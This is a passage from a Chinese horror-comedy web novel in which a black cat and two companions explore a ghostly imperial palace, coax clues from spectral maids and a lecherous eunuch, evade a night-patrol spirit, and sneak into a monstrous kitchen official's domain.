“咪呜——”小咪打了个长长的哈欠,在窗台上伸了个懒腰,把自己的身体拉长再拉长,拉完后全身舒畅地打了个滚,然后从窗户掉了下去,落在一双坚实可靠的手中。 萧向秦抬起手臂,小咪顺势爬到他的肩膀,给人舔了舔头发,“喵呜。” 早上好,人! “咪咪,你带我去找第一天来时见到的宫女。” “喵!” 门外有守卫守着,但难不倒咪。小咪轻盈一跳,爪子扒拉墙头,后爪正要蹬墙爬上去,屁股却被人托了一把,借力翻过了墙。 萧向秦踩着旁边的树,跟着翻过墙头,夏炫则留着应付公公。 “喵喵喵!”小咪不满地和人囔囔,猫可以自己跳上去。 萧向秦蹲下来,拍了拍肩膀。 小咪跳到了他的头顶,趴着人的脑袋,尾巴灵活转动,指挥人往前走。 来到花园一角,它跳到一棵桃树下,朝着萧向秦喵喵叫。就是在这里,猫遇见了小宫女,此刻桃花纷飞,树下空空荡荡。 萧向秦拨开花瓣,用手摸了摸角落黑灰,放在鼻尖嗅嗅。 小咪也好奇地嗅他的手指,一股纸烧的味道呛得它打了个喷嚏。 “有人在祭奠逝者。”萧向秦垂着脸,“鬼祭奠的东西,是什么?” “喵?”小咪不懂这些,爬到了树上,懒懒枕着树枝。他们得早点回去,免得夏炫应付不来,不过运气总在小猫的一边,在小咪被清晨的太阳晒得昏昏欲睡时,幽怨的哭声在树下响起。 小咪探出脑袋往下看。 桃花树下,小宫女以袖掩面,轻轻啜泣。 “喵!”它兴奋地和人打招呼。 小宫女抬起头,婆娑泪眼眨了眨,“猫猫?”她的泪珠从眼角滑过,露出欢喜的神色,伸出双手。 小猫从桃花树枝跳了下来,落在宫女的怀中,蹭蹭她的脸颊,用舌头卷去她的泪珠。 “喵呜——” 小宫女感觉到了猫的关心,眼眶又一红,用力吸了吸鼻子,“猫猫,你怎么还在这里?对哦,”她看着小猫头顶的飘飘帽,自言自语:“猫猫要给娘娘画画,到第六日才能离开。” “你在祭奠谁?” 小宫女猛地抬头,见树后走出一道高大挺拔的身影,吓得惊呼一声,起身就想跑,却不想踩到自己的裙子,栽在了地上。 “不要怕。”萧向秦蹲下来,努力让自己显得不那么凶,“我是猫猫的随从。” “喵!”小咪把爪爪按在他的脸上,跑到小宫女面前,安慰地蹭了蹭她。 小宫女与猫圆圆的眼睛对视片刻,放下了防心,擦了擦眼睛,慌乱地说:“我、我没有祭奠谁。” 萧向秦声音温和,问:“那你为什么哭呢?” “是陛下沉迷炼丹,原只要我们天不亮早起采集露珠,可自从那邪方士来了后,他要求越来越严苛,不许我们吃东西,对我们动辄打骂,饿死不少姐妹,以前娘娘在时,还会帮着我们劝一劝陛下,我们的日子才好过一些,可是如今……” “娘娘不在了,是吗?” 小宫女身子瑟缩了一下,轻轻点了点头,咬着唇不说话了。 小咪往上一跳,跳到她的怀里,蹭蹭她的手,“喵呜——” 人,接着说不要怕,猫罩着你! 怀里毛绒绒的柔软小猫给了她勇气,她继续说:“有一段时间,有人说娘娘是妖怪,胡说八道!娘娘就算不是人,也是天上的仙子,怎么会是妖怪?但有天晚上,她莫名消失了,再出现时,变得很奇怪了。” 她擦擦眼泪,抬头看眼日光,“我要去御膳房准备三日后的宴席了,你们也快去画画吧,耽误了时间,会被公公惩罚的。” 小宫女匆匆离开。 小咪看着她的背影,“喵呜”了一声。 小宫女忍不住回头,小跑过来,摸一把小猫的头。 萧向秦问:“你叫什么名字?” “锦瑟。” 等锦瑟跑远,小咪又歪头看看萧向秦。 萧向秦蹲下来,拍了拍肩膀。 “喵!”猫飞快地爬到自己的专属座位上,让人载着它回到了丹青苑,混在了画师中。 夏炫为了给他们争取时间,在公公面前插科打诨,争着帮公公去其他院子喊画师起床,看见他们过来,他才松了口气,回到人群中。 “公公好像很欣赏你。” 夏炫一回头,对上公公盯着自己灼热的目光,全身都起了鸡皮疙瘩,“队长,你别说了,我害怕。他不会想抓我去当太监吧。” ———— 公公带着他们来到了长春宫,小咪排在最前面,第一个跑进宫殿里,朝着宫女喵喵叫。 两位宫女拿出一条脚,让他们画画。 小咪先没急着画,跑到了宫女的脚下。大宫女的裙摆轻飘飘在空中摆动,裙下双足踮起,足尖点地。它放下嘴巴里含着的东西,被猫叼了一路的小耗子糊满口水,奄奄一息地躺在地上。 “喵——” 猫送给你们的礼物。 夏炫小声问萧向秦:“难怪刚才咪咪的嘴套子有点鼓,我还以为是它腮帮子肿起来,被蜜蜂蛰了,原来是嘴里叼着只耗子,它什么时候抓的?” 萧向秦:“不知道。” 夏炫:“居然能瞒过队长的眼睛,真牛啊咪咪。” 他上前把喵喵叫的小猫抱了回来,半强制地按住它的后脖,“要抓紧时间开始画画了。” “喵!” 小咪照例在画卷画上了十朵红梅花,歪头打量自己的画作,满意的甩了甩前爪。夏炫拿起条干净的白毛巾,给猫擦了擦爪子。 “喵呜。”猫期待地看着人。 “画得真不错。”夏炫夸赞。 小咪又抬起头,看着那两位高大的鬼影,以小猫的视角看,大宫女们像座苍白的山峰,冰冷地伫立在阴寒殿内,它跑到帷幕边,蹭蹭蹭爬了上去,顺着横梁往前爬,才对上宫女那张惨白瘦长的面容。 “喵。”小咪歪头,把脑袋在横梁上蹭来蹭去。 两位大宫女脸上没有丝毫面前变动,瞪着死白的眼睛,注视横梁上的小猫。 要是其他人,早就被吓得三魂丢了七魄。 但小咪反而往前面跑,纵身一跳,跳到宫女冰凉的锁骨上。她很瘦,凹陷的锁骨恰好让猫严丝合缝地窝在其中。 夏炫心想:这是把npc当猫爬架了。 这两个恐怖至极的宫女,脸上没有表情,却也没对小猫做什么。 夏炫冷不丁冒出个念头:她们此刻心情还不错。 从宫女们灰白的肌肤覆盖的恐怖面容上很难看出情绪变化,可夏炫隐约能感觉到,殿内的气氛变了一些,没那么渗人和阴寒。 这时,萧向秦开口:“我们见过锦瑟了。” 听见锦瑟这个名字,两个宫女扭过脸,阴气森森的眼珠瞪着他。 小咪附和:“喵呜。” 没错,猫见过锦瑟了。 “她一直在哭,说想念娘娘。没有娘娘为她们说话后,她们的日子很不好过。” 殿内无形的压力骤增,寒气冻彻心扉。 小咪觉得有点冷,把自己窝起来,不满地“喵”了声。 下一瞬,就有片轻软的布料盖在了它的身上。 是恐怖的大宫女扯了下衣领,盖住小猫的身体。 夏炫冻得直打哆嗦,呵出白汽,不停搓着双手,心里想:怎么还单独给小猫盖被子呢? 太双标了啊这些怪物。 萧向秦顶着压力,继续说:“我们可以帮助你们。” 小咪从衣领里探出脑袋,“喵喵喵。” 猫可以帮助你们! 只剩夏炫一头雾水,不明白他们一唱一和在说什么。不是给娘娘画画吗?宫殿里的这几个大鬼还需要他们帮忙? 宫女没有说话。 殿内陷入死一般的寂静。 萧向秦拿出小宫女送的香囊,放在了桌上。 小咪跳到宫女的肩膀上,站直身体,对着她青白僵硬的耳朵叫:“喵喵喵——” 猫天不怕地不怕,想要的事情一定要做到。它大声叫:“喵喵喵!” 外面的公公在尖声催促:“人死了吗?没死快些出来!” “喵呜喵呜喵呜——” 小猫拖长了声音叫唤,头在宫女的脖子上蹭来蹭去。 快点快点答应猫。 半晌,宫女开口:“外面有一条狗,晚上总是在叫。” 另外一位宫女说:“吵得娘娘难以入睡。” “太吵了。” “太吵了,太臭了。” “是陛下的狗。” “陛下的狗吵着娘娘了。” “娘娘不喜欢那条狗。” “娘娘想除掉那条狗。” “可杀死它会被陛下发现的。” “可陛下很喜欢那条又吵又臭的狗。” “怎么办呢?” “怎么办呢?” …… 宫女抬起手,让小猫爬到手掌心,再俯身将它放到了地上。 时间到了,一炷香燃尽,里面的人掐着点走出来。 公公没好气地说:“我还以为你们死了呢!” 夏炫抱着小猫,抬起小咪的前爪给他看,笑嘻嘻地说:“我们画师画得太仔细了嘛,是不是咪咪?” “喵呜。”小咪认真回答。 夏炫用小猫当掩护,偷偷塞给公公几颗珠子。珠子其实在现代很便宜,只是简单的染色玻璃珠,可在古代人眼里,这些是价值不菲的宝贝。 送了珠子后,公公嘴角扬起,笑着打量夏炫,“你小子还挺上道。” 他接过珠子时,用手摸了摸青年的手背。 夏炫飞快把手缩了回去,像被火给烫到了一样,惊恐地看着公公。 公公目光扫过他的手。 因为嫌古装热,夏炫挽起了半截袖子,蜜褐色的柔滑肌肤,覆盖住肌肉紧实的有力小臂。他被公公看得发毛,连忙把袖子扯下来。 公公笑道:“待会我送画师回丹青苑后,你抱着猫来找咱家吧,给咱家的住处抓一下耗子。” 小咪高高兴兴答应了,“喵!” 公公凑近,在夏炫耳畔低声说:“来之前洗个澡,咱家喜欢干净。” 夏炫脸都白了,抱着猫跑回队伍里,寻求队长的保护。 “我擦我擦这个老变态,死人妖,”他忍不住骂脏话,“他想干什么啊,他摸得我鸡皮疙瘩都掉一地了。队长,救命!救命!我不要被老人妖摸啊。” 萧向秦:“这是个接近公公的好机会。” 夏炫苦着脸,“要不你去?” 萧向秦离他远一点,“公公看上的人是你,不是我。” “啊啊啊!” 回到房间后,夏炫抱着枕头,崩溃地大喊:“救命啊啊啊!我不要被老人妖捅·屁·股啊!!!” 小咪趴在旁边,担忧地看着他。 “想开点,”萧向秦淡淡补刀:“他都被缴械了,怎么可能捅你?” “对哦,但被摸几下也很恶心啊, yue——”他使劲擦着手背,擦得手背红彤彤,恨不得把皮给擦下来,“队长,救救我,救救我。” 萧向秦:“你该去洗澡了,别让公公等得太久。” “队长,你太狠心了,我连女朋友都没谈过,怎么能被老太监占了便宜。”夏炫想了想,从外面抓几把泥巴,往自己身上擦,“老太监问,我就说自己在泥巴里摔了一跤。” “他要是让你在那洗澡呢?” 夏炫:“……救命!” 小咪很有责任感地跳了出来,尾巴翘起,“喵!” 猫保护你。 夏炫哭丧着说:“咪咪,我的清白就交给你了。” “喵呜——” 萧向秦:“你去公公那里时,向他套一点话,问每天晚上来丹青苑的到底是什么东西。” 夏炫:“他要是不肯说呢?” 萧向秦无声地打量着他。 夏炫连忙捂住胸口,“男孩子的贞洁也是很宝贵的!” 小咪跳到桌子上,“喵喵喵”催促。 快点快点,猫要去抓耗子。 萧向秦摸摸它的小脑袋,考它,“咪咪,你知道我们下一步要做什么吗?” 小咪:“喵!” 抓耗子。 “之后呢?” 小咪歪头又想了想,“喵!” 抓狗子。 夏炫皱紧眉,闻了闻身上的气味,还觉得不够,“咪咪,快往我身上撒一泡尿。” 小咪觉得他太变态了,扭头就跑。 夏炫在墙根找到几粒咪留下的屎蛋子,一边恶心干呕,一边把屎蛋子收集起来,塞在兜里。 “该死的王绍远,等我抓到了他,我要把这些全塞他的嘴巴里去!” ———— 在另外一座宫殿里。 王绍远连打几个喷嚏,狐疑道:“是不是有人在想我?” “一定是萧向秦他们,”他笑着说:“他们一定想不到,自己在第一天就踩到陷阱里,时间少了一天,不可能完成这幅美人图了。就算他们在操偶师的骚扰下能活下去,到最后一天,也会因为无法完成画作被明王杀死。” 他举杯恭敬敬酒,“一切都要感谢你,魔法师先生。” 对面青年没有接过他递来的酒,“我要离开这里了。” “这么快吗?”王绍远一惊,但想到那几个人已经踩中陷阱,陷入绝境,就算魔法师离开也不会影响结果,就笑着说:“等我出去后,定有重谢!” 青年弯起嘴角,“不过,不要高兴太早,就算完不成画作,他们也有一个翻盘的机会。” “是什么?” 魔法师站了起来,理好衣襟,从长毛上捏起一根漆黑的猫毛。 他把毛放在鼻尖闻了闻,露出餍足的笑意,把猫毛用手帕包起来,放在胸口的位置。 王绍远:“不管是什么,我们先堵死这个机会!” 第65章 “我们已经不能通过正常的办法通过这次鬼域。” 萧向秦为了安抚马上要牺牲色相的青年, 向他解释,小咪端坐在他的膝盖上,也认真听他讲课。 正常情况下,我们应该准备齐全材料、为娘娘画满六日,在第六日离开,但这已经是不可能的事情了,最后一天,不管怎么样,我们都无法得到最终boss明王的认可。” 夏炫点点头,“宫女们也说过,陛下无论如何也不会满意的。就算正常画满,我们最多也只能安全离开,没办法解开这张鬼图。” 但他们进鬼域本来也不是为了通关,只是想抓住王绍远啊! “那队长,你想干什么呢?” 萧向秦:“明王沉迷丹术,拿小宫女们炼丹, 宫女们对他积怨颇深。” “你想挑起npc的内斗?” 萧向秦点头, “所以你要多搜集信息, 查探公公的口风,趁机问一问他娘娘失踪那段时间的事。”他凝视烛火,眸光沉沉, “只有这群小宫女, 可翻不了天。” 夏炫听得一愣一愣的, “队长, 真有你的,要是我的话,现在还没发现第一天的陷阱, 找材料就费半天劲,到最后糊里糊涂就死掉了。就算我发现了少了一天,”他挠了挠头,“也压根找不到破局的办法。” 萧向秦抚摸小咪的脑袋,“就算被逼到绝境,仔细观察,总能找到一丝线索,最重要的是,不要绝望。” 夏炫若有所思地点头,看见队长垂着脸,眼睛望着膝盖上小猫,“哎,你是在对咪咪说的啊?” 萧向秦:“我觉得小咪比你聪明。” “扎心了啊……” 宽大的手掌正好能盖住小咪的头,掌心粗糙茧子磨过时,小咪的耳朵抖了下,软软叫了一声。 “是咪咪第一天就翻过墙壁,跳出幻术中,才让我察觉到时间不对。不过,”萧向秦话锋一转,剑眉微皱,“深渊那个人没有阻止小咪翻墙,为什么?” 要是小咪没有翻墙,他们就算能发现少了一天,时间也来不及去接触宫里其他人了。 夏炫:“他肯定没发现,深渊的人怎么会好心给我们留条生路?” “好了,快去侍奉公公吧。”萧向秦勉励他,“我们能不能得到关键线索,就看你的牺牲了。” 夏炫伸手来抱猫。 小咪嫌弃他身上脏,扭头就跑开了。 “咪咪,让我抱着你吧。”夏炫在后面追,“这路太硬了,走起来硌肉垫。老奴的脚走坏不要紧,猫大人您的肉垫那么粉嫩,不要磨出茧来了啊!” 小咪跑得更快了。 公公的住处其实也只是一间小屋子,石洞般的房间阴森黑黢。 小咪顺利完成任务,咬死八只大肥耗子,得到公公的表扬,但夏炫就没这么好运,公公炽热的眼神让他扯了下衣领,把自己裹得严严实实。 公公问:“不是让你洗干净吗?” 夏炫:“小的跑过来时,一小心摔了一跤。” 公公冷笑:“哼,这是摔了一跤,是在泥巴里滚了一遭吧。”他见夏炫道歉,笑了下,“无妨,你在我这洗个澡吧。” 夏炫扯住衣领,显得柔弱又无助,“公公,要不我们先聊点别的?花前月下,”他站在石洞般阴森的屋子里,睁着眼说瞎话,“良辰美景,这么好的风景,不如去外面赏花喝酒?” 公公:“外面哪来的良辰美景?” 外面传来耗子的吱吱声。 是它们被小咪咬断喉咙时,发出最后一声惨叫,显得尤为渗人。 耗子的惨叫声落入夏炫的耳朵里,就跟仙乐一样。他连忙邀请:“狸奴捕鼠,不失乐趣。” 公公也对肆虐的耗子很头疼,闻言点头,暂时放下强逼他洗澡的念头,一起走出了房间。 小咪跑来跑去抓耗子,不过两个人很难看清它,只能从耗子惨叫声中,听出猫儿在哪里逞威风。 “公公,为何宫里这么耗子,却没有养几只猫呢?” “耗子是娘娘回宫后才多了起来,也就几日功夫,来不及去聘请狸奴。” “娘娘回宫?” 公公沉默片刻,小声说:“娘娘前阵子,为了劝谏陛下不要沉迷丹术,去炼丹的青炉宫一趟,失踪了几日,等出来时,宫里的耗子就开始泛滥,天上的乌鸦也多了起来。” 夏炫瞪大眼睛,“失踪这么久?是去哪儿了?” 公公:“我怎么知道?不过……你可别往外传,在不久前,有一个说法,陛下得到了炼制仙药的配方,其中有一味药,叫作太岁肉。”他慢慢倾身靠近,在青年发呆时,又在他的手臂摸了一把,感受到衣袍底下紧实的肌肉,公公满意地扬起嘴角。 夏炫吓得倒退两步,脱口而出:“人妖!” 公公沉了神色,“什么叫人妖?” “人……”夏炫努力挤出微笑,“我听人说,娘娘就是太岁妖,难道陛下炼丹是拿她……” “胡说八道!”公公连忙环视一圈,拉着他的手回到房间,“千万别在外面说,四处都是陛下的耳目。每一只耗子都支起耳朵,争着向陛下告状呢。” “公公别怕,耗子都被我们猫画师吃光了。” 公公松了口气,“这倒也是。” 夏炫趁着他防心渐懈,趁机问:“公公,每晚钻入我们房间的耗子是什么?它凶得很,连我们猫画师都难以对付,差点被它一口吞了。我死了不要紧,猫画师被吞了,谁来帮您抓耗子?” “那不是耗子,是陛下手下的夜游神。每日在宫中巡游,负责抓不听话的人。”公公坐了下来,“你们只要点着灯,好好睡觉,它便不会把你们怎么样。” “神?真是夜游神啊?” 公公轻蔑一笑,“以前不过是个普通侍卫,性格鲁莽,嗜酒如命,有次喝醉酒,竟冲撞了御驾,若不是娘娘为他说话,早就做泉下鬼了。这样一个人,不知哪里来的机缘,得到御赐的一颗仙丹,竟当上夜游神。” “若我们被它抓住了呢?可有对付它的办法?” “夜游神在黑暗中像蚯蚓一样滑不溜秋的,只有光亮出才会现出原型。若被它抓住,”公公摆摆手,“咱家可不知道怎么多,和你说这样多,都耽误了时辰,快些回去吧,天黑前赶回房间,莫叫夜游神抓住了,明日来我这时记得先洗干净。” “谢谢你啦,公公!”夏炫连忙跑出去,“咪咪。” 小咪把耗子摆成一排,朝着他叫。 夏炫:“太强了咪,我们快回去吧。” “喵!” ———— “娘娘不会被皇帝拿去炼丹了吧。” 小咪耳朵抖了抖,舔着爪子上的血,听人在说话。 它很有参与感地“喵”了一声。 陛下沉迷丹术,娘娘又在青炉宫失踪过几日,回来后变得不对劲,闭门不出。 连猫都觉得不对劲。 萧向秦点头,“有这个可能。在这个鬼域,存在两个boss,一个是陛下,一个是娘娘,陛下或许曾经做了对不起娘娘的事情。” 小咪:“喵!” 娘娘坐在长寿宫中,闭门不出,不是不愿意,而是被陛下养的狗困在其中。 夏炫也想明白这个道理,“陛下的狗就能把她困住,她肯定实力远比陛下弱,我们和她在一队,能有用吗?” 小咪脑袋一歪,注意到一个东西。它跑到油灯前,看着火苗一点点变小,焦急地朝人喵喵叫。 “油剩得不多了。” 萧向秦看一眼,“撑不过明晚。” 夏炫心里骂一句脏话,这鬼域根本不想人活,“我去孙良言的房间拿灯,他那儿有一盏多的。”这么细微的变化,还多亏咪咪才能察觉,其他人应该不会发现。 可翻遍孙良言房间,却没有找到油灯。 “难道被别人拿走了?还是被那个怪物拿走?” 萧向秦又走到操偶师的房间,依旧没有发现油灯。现在院子里只剩三盏灯,如果明天想安全度过,只能去抢别人的油灯。 鬼域在逼着他们自相残杀。 “试着先和他们说一下,如果院子里其他两个人愿意和我们挤在一个房间,我们就能有三盏灯了。” 陈商音感激小咪画师慷慨借笔,愿意拿着灯挤一间房入睡。而另外一位画师没有开门,在门后闷闷说自己会想办法,不喜与人同寝。 陈商音带着两个家仆,有一位断臂的仆人叫段伯,正是那位愿意为他舍弃一臂的忠心老仆。段伯伤势严重,单独睡一床,陈商音和另外一位书童挤在一床。 于是夏炫和萧向秦睡那张最大的床,小咪躺在他们的中间。 夏炫已经把自己洗干净了,小咪在他身上仔仔细细地嗅了嗅,这才放下对人的嫌弃,贴着他的后背,爪爪抵着萧向秦的背。 “喵呜——” 猫伸出红彤彤的舌头,打了个长长的哈欠,用力撑着两个人。 两人保持着一猫的距离,同时感觉到了小猫的颤动,不过感觉并不相同。夏炫感觉到的是猫猫柔软滚热的后背,而萧向秦的后背,则有四只爪子在不停踩踩踩。 那边几个人已经熟睡,鼾声此起彼伏。 夏炫闷闷问:“队长,娘娘是太岁妖吗?” “陈商音说过,说的人多了,假的也就成了真,睡吧。” 小咪没有睡觉,眼睛瞪得圆圆的。 倒不是咪不怕危险,半夜进房间的“夜游神”确实很可怕,但公公说,它只会惩罚不听话的人。 小咪可以装睡。世界上有睁眼睡觉的人,当然也有睁眼睡觉的猫,猫在装睡上是有一套的,想要睡觉不理人类的时候,无论人怎么摇晃,猫都不会动,室友经常以为它死了,捧着软绵绵的猫开始哭,哭得小咪忍不住把爪子塞进她的嘴巴里。 总之,它想要看一看夜游神的样子。 小咪半睁着眼睛,静静等待“窸窣”声渐近。 一缕青烟从纸窗小洞钻了出来,凝聚在半空,变成了一个手执利刃的巨人模样。它的头大如斗,赤面青须,满嘴锯齿,一手提门板大的刀,一手提钩子,腰间还悬着个巨大的斧头。 巨人的下半身并无实体,只是抹烟雾凝成的形状。他头顶着房梁,在房间里徘徊巡逻,突然,它眼珠子一转,两团绿油油的鬼火死死盯着侧躺着的小猫。 小咪保持着呼吸平稳,控制住自己跃跃欲试想要炸毛的尾巴。 吸气——呼气—— 一个呼吸的功夫,那张鬼脸猛然逼近,锐利如刀的视线从猫的头顶冰凉滑过椎骨,仿佛把小咪切成了两半。 它腰间悬挂着各种刑具,在小咪的眼前晃动。看到巨人抬起挂钩,往自己脑门刺,阴寒的温度穿透头顶的皮肤,几乎把它全身的血液都要冻结,但小咪依旧半睁着眼睛装睡,连胡须都没有颤动。 挂钩上有点点凝固的白色脑浆,它会把钩子钩入人的脑袋,往上一抛,再用小刀一划,就像杀鱼一样,毫无阻碍地将人开肠破肚,将完整的人皮剥了下来。 但这次钩子在小猫的小小的脑袋上比划半天,找不到一个可以钻进去的地方。 钩子太大,猫太小,尺寸对不上号。 斧头、钩子、身上各种刑具都翻了个遍,找不到一把能和小猫对上号的利刃。 夜游神第一次遇见这种问题,呆呆飘在床边,用钩子碰了碰猫,小黑猫的身体也跟着软绵绵动了一下,好似全身都没有骨头般睡死了。 它确认小猫睡觉后,在其他人床位边依次检查一遍,确认他们都睡着了,才转身离开。 小咪本来想摇晃一下尾巴,却依旧能感觉到有股阴冷的视线黏在自己身上。它用余光往外瞟,在操偶师戳出的小洞外,一只血红的眼珠子悄悄偷窥着房间里的情况。 又过一会,它才慢慢飘走。 第66章 小咪枕着自己的尾巴,也陷入了梦乡,第二日才醒来。 它跑到还没醒的人身上,啪啪拍着他们的脸,开始猫猫闹钟唤醒服务。 “喵喵喵——”小咪朝人打招呼。 人,早上好! “早上好。”萧向秦矮下身体,让它跳到自己肩上, 和夏炫使了个眼色,两人一齐走出房间,来到一个僻静角落。 “昨天我睁眼装睡,看见了夜游神的样子。” 萧向秦一说完,小咪就抢着插嘴,“喵喵喵。” 猫也见到了。 萧向秦摸摸它的脑袋,“夜游神青面獠牙,手里提着把大斧头,飘在半空中,下半身是虚幻雾气,我们打不过它,不能贸然动手,还要做一些准备。” 小咪翻过墙,朝着他们叫。夜游神贪杯误事,猫可以带着他们去找酒。 萧向秦跟着它翻过院墙。 小咪跑到桃树下, 在远远看见树影里的锦瑟时, 尾巴高高翘了起来, 小马驹一样飞快跑向她。 “咪咪!” “喵呜——” 小咪蹭蹭她的裤脚,却感觉小女孩裙下空荡荡的,粗布裹着柴一样的腿,没有血肉温暖厚实的质感。 锦瑟把小猫抱了起来,用脸贴着小咪的肚子,无师自通学会了吸猫。 因为小咪的缘故,她对萧向秦的警惕也放下了,在萧向秦问她哪儿有酒时,小女孩歪着头,认真想了想,说:“宫中在为几日后的千色同春宴做准备,陛下要宴请你们这些画师,请百官评判美人图呢。御膳房里早就备好了百来瓮酒,是最好的百日醉,听说是瑶池美酒,喝了能醉一百天。” 但当听见萧向秦想要一点酒时,她连忙摆手,“不可不可,太官大人对百年醉看得很紧,有座专门的地窖用盛放酒液,钥匙被他挂在脖子上,从不离身,一碰就会发出声音,太官大人凶得很!” 萧向秦又问:“能不能带我们去御膳房?” 锦瑟摇头,“这个也不能,会被太官大人发现的。” “喵!”小咪跑到她的裙底下,把自己缩成一团,“喵喵——” 猫可以藏在裙子底下。 锦瑟眼珠子一转,说:“我可以在裙下缝个小兜,把猫猫藏在里面。猫猫想去御膳房做什么?吃鸡腿吗?猫猫应该不要喝酒吧。” 小咪忍不住舔了舔鼻子。 “我能偷偷带一个鸡腿出来,猫猫不要去那里,太危险了,太官大人连地上多了一毛都能发现。”锦瑟把猫抱出来,继续用脸在它的肚子蹭来蹭去,蹭得尽兴,忍不住轻轻咬一下小猫的耳朵。 小咪被吸得有点痛,耳朵往后缩,本能地张开嘴,但反应过来后,改咬为含,轻轻含住她的手指。 “喵呜——” 猫委委屈屈嘟囔,把下巴搁在她青白色的手背上。 “如果非要酒的话,太官大人每日傍晚用餐饭时,会偷偷从瓮中勺一勺酒,装满他腰间的葫芦。你们可以将那个葫芦里的酒偷一点出来。” 和锦瑟约好了下午再在桃树相会,小咪和萧向秦回到了丹青苑。公公因为昨日的事,对他们睁一只眼闭一只眼,一甩拂尘,“走吧,磨磨蹭蹭,让咱家等多久啦。” 进入长寿宫,两个大宫女瞪着浑浊的眼珠,死死盯着他们。 但小咪已经习惯她们悚人的模样,也不管画画了,蹭蹭爬到横梁上,跳到宫女肩膀,朝着她们喵喵叫。 “喵呜喵呜。” 猫昨天差点被夜游神杀掉了。 另外一个宫女伸出惨白的大手,小咪明白她的意思,助跑几步起跳,跳到她的掌心,歪头蹭蹭阴冷滑腻的肌肤。 猫要雨露均沾。 它知道这个道理。 “我们昨夜见了夜游神,听说它已得明王赐的仙丹,身负神明之力,恐怕不好对付。” 猫躺在宫女手掌心撒播自己的恩泽时,人类也在向这两个恐怖狰狞的恶鬼交流。 宫女幽幽将目光从猫身上移开,看着地上的人,“夜游神,嘻嘻。” “嘻嘻——” “不过一个看守的侍卫。” “贪杯误事,多亏娘娘开口,才保下他的头颅。” “这个卖主求荣的贼子!” “这个恩将仇报狼心狗肺的恶徒!” “他该死!” “该死!!” 宫女垂下手,从屏风后取出一物,放在了桌案上。 是个金丝攒成,镶有明珠的凤钗。钗尖锐利,散发不祥的气息。 “他叫得很大声,会惊动其他人。” “别让他叫出来。” 萧向秦收下簪子,手指刚触碰到,就被寒气冻伤,他用布裹起簪子,“我们会注意的。不过第六日千色同春宴上,明王带百官来参宴,这么多的人,只怕我们难以应付。” 宫女低下水蛇般的腰肢,将自己扭成两段,脑袋伸入屏风后。片刻,她重新站了起来,“娘娘说,你们若拿到了太官的钥匙,便有了办法。” ———— 要放小咪去御膳房,两个人都很不放心。 可他们两个就算愿意穿上钗裙扮作宫女,也会被太官认出来,只有小猫钻进宫女的裙摆,才能成功混进御膳房。 夏炫愁掉几根头发。 御膳房是他们新探索出的一个小地图,那太官显然是地图里的精英怪。 让小猫咪独自去面对这些吗? 小咪:“喵!” 猫不怕,猫很强的! 它咬住萧向秦的袖子,“喵呜?” 猫要把太官的钥匙偷过来吗? 萧向秦摇摇头,“只用偷到一点酒就好了。” “喵!” 小咪翻过院墙,来到桃花树下,盘在树根睡一会,梦见自己去了御膳房,大杀四方,抓了好多耗子,吃了堆积如山的鸡腿。 小猫砸吧着嘴巴,被鸡腿香得舔了舔自己的鼻子。 它迷迷糊糊被人抱了起来,睁开眼睛,锦瑟苍白的小脸映入眼帘。 “喵——” 小咪礼貌打招呼。 锦瑟微微一笑,掀开自己的裙摆,青色的裤腿紧扎着,裙子内里被她巧手袖了一个猫兜儿。 小咪跳到里面,转了个身,正好藏在兜里,露出一个小脑袋。 锦瑟放下裙子,布裙只是往下坠了一些,看不出太大区别。她用手提着个篮子稍作掩饰,往宫殿深处走去。 随着小宫女往前,本来向他们封闭的迷雾散开,露出了一座写着御膳房的楼阁。 昏暗的房间里,许多惨白的人影走来走去,热火烧得锅沸,一个个人头在沸水里起伏。 锦瑟找了个角落,悄悄掀开裙,把小咪放了出来,指着一个房间,说:“那儿是御酒坊,太官大人就在里面休息,每一炷香的时间会出来巡视。咪咪,你可千万不要碰到他的脖子上的钥匙。” 小咪“喵呜”一声,蹭蹭她的手指,悄无声息地钻过门廊。 御酒坊的门突然打开。 小咪连忙钻到了一张凳子下,缩入阴影中。 一个三米多的怪物从御酒坊走了出来。它头上戴着高高的礼帽,面容白皙,手持金爵和账本,笑容可掬,“大家活儿干好了没有?宴席不日就要开始,可不能马虎。” 小咪瞧他并不凶恶,刚松口气,又听另外一道声音响起。 这声音尖锐刺耳至极,像锥子钻入猫的耳朵里。 “谁敢偷懒,就砍掉脑袋,塞进锅里!煮了你们的肉,剥了你们的皮!” 在太官的背后,长着另外一张脸。这张脸凶神恶煞,似鼠一样三角的眼睛,八字胡,嘴角长出两颗野猪的獠牙,生了几十条手臂,每条手臂上都拿着手腕粗的鞭子。 后背的脸满面凶相,不满地抱怨着。 “啊,走错了。”笑脸转了个身,那副凶狠的面孔正对着宫女们。 宫女们不停地干活。 “啪!”一鞭子在空中甩出,发出响亮的破空声。 被鞭子打中的宫女马上倒在地上,鲜血浸透了衣衫,但她们不敢耽误时间,忍着痛爬起来。 太官抓起一个在地上挣扎的宫女。 宫女瞧着大约三十来岁,头发花白,也许是上了年纪,她被甩一鞭子后爬不起来,在地上低吟蠕动。 太官凑到她的面前,笑嘻嘻地问:“老宫女,你这把年纪,本不该留在坊里工作了。若给我点银钱,我替你打点一下,保你一条性命。” 宫女哭泣着说:“大人,我所有的钱都给你了,连进宫前我娘送的手镯也被你拿走,身上实在什么都没有,您再给我个机会,我一定好好干活……” 太官嫌弃地掀开灶膛,不等她求饶的话说完,就把她像柴火一样塞进烧得滚红的炉子里,宫女不停惨叫着,声音被火焰吞没。 惨嚎声在坊内回荡。 太官正反面都有一张面孔,小咪没有机会溜进房间,只能继续趴在阴影里等待着。 “尔等更须勉励,这都是为了我们的明王陛下。”和善的面孔笑眯眯地说。 “再敢偷懒,都烧了!反正不缺人进宫。”凶恶的面孔咬着牙骂。 于是宫女们低头缩肩,战战兢兢,生怕喘气大声了些,被太官塞进炉膛当柴火。 太官拖着庞大沉重的身体,慢慢往回走。它没有转身,依旧用恶面对着宫女们,死死瞪着她们,笑眯眯的那面往房间走,嘴里嘟囔着:“这群榨不出油水的东西,丢到炉里当柴都烧不旺火。” 笑面一转,落在了地上。 他低下头,“这儿怎么有一根毛?” 太官拿起一那根毛,漆黑的小毛,比针还细,质地柔软,似绒毛一般轻飘飘的。 他的眼珠子转来转去,“是不是有畜生溜进来了?” 它猛然蹲下身体,大脑袋贴着地,在地板上找来找去,“我闻到了,我闻到的那股畜生的味道了,香香的,香香的。” “小畜生,你在哪里?没有东西都逃过太官的鼻子,没有东西能逃过太官的眼睛。” 